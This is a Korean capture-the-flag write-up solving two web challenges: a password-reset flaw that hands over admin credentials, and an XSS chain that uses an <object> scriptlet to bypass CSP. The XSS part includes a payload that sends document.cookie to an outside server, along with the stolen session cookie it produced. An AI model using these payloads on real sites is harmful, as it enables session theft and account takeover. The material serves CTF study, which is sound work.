# Cyber Operation Challenge 2019 ## Hidden Command 문제 주소와 함께 소스코드가 제공되었습니다. 기능은 간단하였습니다. 1. 회원 가입 2. 로그인 3. 글 작성 4. 비밀번호 찾기 "Secret Document"를 읽는것이 목표인 것 같습니다. ![](https://i.imgur.com/PECcQpb.png) 소스코드를 보면 비밀번호 찾기 기능이 수상한 것이 보입니다. ```python @frontend.route("/forget", methods=["GET", "POST"]) def forget(): form = ForgetForm(request.form) msg = None if request.method == "POST" and form.validate(): msg = "User not found" user = User.query.filter_by(username = form.username.data, email = form.email.data).first() if user: new_password = rand_password(10) new_user = User(form.username.data, new_password, form.email.data) clear_user(user) db_session.add(new_user) board_lst = Board.query.filter_by(username = form.username.data).all() for b in board_lst: b.username = admin_username db_session.commit() return render_template("forget_res.html", password = new_password) return render_template("forget.html", msg = msg, form = form) ``` 새로운 패스워드를 생성한 후, User을 추가하네요. 그 과정에서`clear_user(user)`가 호출됩니다. ```python def clear_user(user): user.username = admin_username user.password = admin_password user.email = admin_email ``` user의 credientials을 지우게 아니라 admin의 credentials로 바꿔버리네요. 고로 로그인이 된 상태에서 패스워드를 초기화하면 자신의 정보는 admin의 credentials로 바뀌게 됩니다. 공격 순서는 다음과 같습니다. 1. 회원 가입 후 로그인 2. 로그인 후 forget로 이동(http://54.180.61.52/forget) 3. 로그인한 계정의 패스워드 찾기 진행 후 Secret Document를 열람 최종적으로 "Secret Document"를 읽으면 플래그를 얻을 수 있습니다. ![](https://i.imgur.com/ReVQWT8.png) **FLAG** : FLAG{N0t_s3cur3_4t_411} ## The Camp 문제는 3개의 기능이 존재합니다. 1. 편지 작성 2. 편지 보내기 3. Secret(숨겨진 메뉴) 2번의 경우 bot이 작동하여 이를 확인합니다. 또한 3번 secret의 경우 admin만 사용가능하다고 합니다. 즉, 이 문제는 XSS문제라는 것을 알 수 있습니다. 편지를 작성할 때 아래의 코드를 내용으로 합니다. ```html </textarea><img src=x onerror=alert(document.domain)> ``` 작성한 편지에 접근하면 아래와 같이 alert가 발생하는 것을 학인할 수 있습니다. ![](https://i.imgur.com/i4uihbn.png) 하지만 admin은 `safe_view=1`인 상태에서 편지를 읽습니다. ![](https://i.imgur.com/ahOwHxX.png) safe_view가 켜진상태에서는 CSP의 `script-src 'self'`가 Response Header에 추가됩니다. ![](https://i.imgur.com/KQ3mnuN.png) 또한 `<script>`나 `<iframe>`과 같은 특정한 태그들이 사용불가능합니다. CSP와 필터링을 우회하여 `<object>`를 사용하기로 하였습니다. ```html </textarea> <object type="text/x-scriptlet" data="http://52.78.85.107"></object> ``` 이를 내용으로 편지를 작성하면 다음과 같이 iframe을 사용한 것과 같은 결과가 나옵니다. ![](https://i.imgur.com/VajkxHf.png) 또한, safe_view모드에서도 정상적으로 동작합니다. ![](https://i.imgur.com/kyzeHwa.png) 어드민의 세션을 탈취하기 위한 공격 방법은 다음과 같습니다. 1. 아래의 페이로드를 내용으로 하는 편지 작성 ```html </textarea> <img src=x onerror=(new Image()).src='http://[SERVER]/?'+document.cookie> ``` 2. 위에서 작성한 편지의 lid값을 가지고 아래의 내용으로 편지를 하나 더 작성 ```html </textarea> <object type="text/x-scriptlet" data="http://52.78.85.107/view.php?lid=c9284cc4bb6b3bdfccb5d8150611c782"></object> ``` 3. object태그를 넣은 편지를 어드민에게 전송 및 세션 탈취 탈취한 세션은 다음과 같습니다. ![](https://i.imgur.com/SLNdeKh.png) ``` document.cookie='cred=y0u_4r3_g0000000d_47_byb_!!;PHPSESSID=7npv3fnu4seqfrekkukoba1j00' ``` 이제 자신의 쿠키를 admin의 쿠키로 변경한 후 secret.php에 접근하였으나 admin만 사용가능하다고 합니다. secret.php에서 vi를 사용할 때 생기는 swp파일이 존재하는 것을 확인하였습니다. **URL** : http://52.78.85.107/.secret.php.swp secret.php의 내용은 다음과 같습니다. ```php $phar->setStub($phar->createDefaultStub("index.php")); $phar["index.php"] = file_get_contents("../admin_console/index.php"); $phar["flag.php"] = file_get_contents("../admin_console/flag.php"); $phar["monitor.php"] = file_get_contents("../admin_console/monitor.php"); $phar["shell.php"] = file_get_contents("../admin_console/shell.php"); $phar["credit.php"] = file_get_contents("../admin_console/credit.php"); $phar = new Phar("admin.phar", FilesystemIterator::KEY_AS_FILENAME | FilesystemIterator::CURRENT_AS_FILEINFO, "admin.phar"); ``` 위의 소스코드를 토대로 아래의 URL에 접속하였습니다. **URL** : http://52.78.85.107/admin.phar 페이지에 접속하면 /admin.phar/index.php로 Redirect되며 "Hello Admin!"이라는 내용이 반겨줍니다. flag.php에 접속하면 플래그를 얻을 수 있습니다. **URL** : http://52.78.85.107/admin.phar/flag.php ![](https://i.imgur.com/H12AKCl.png) **FLAG** : FLAG{w0000h_RainbowReflect_PHP}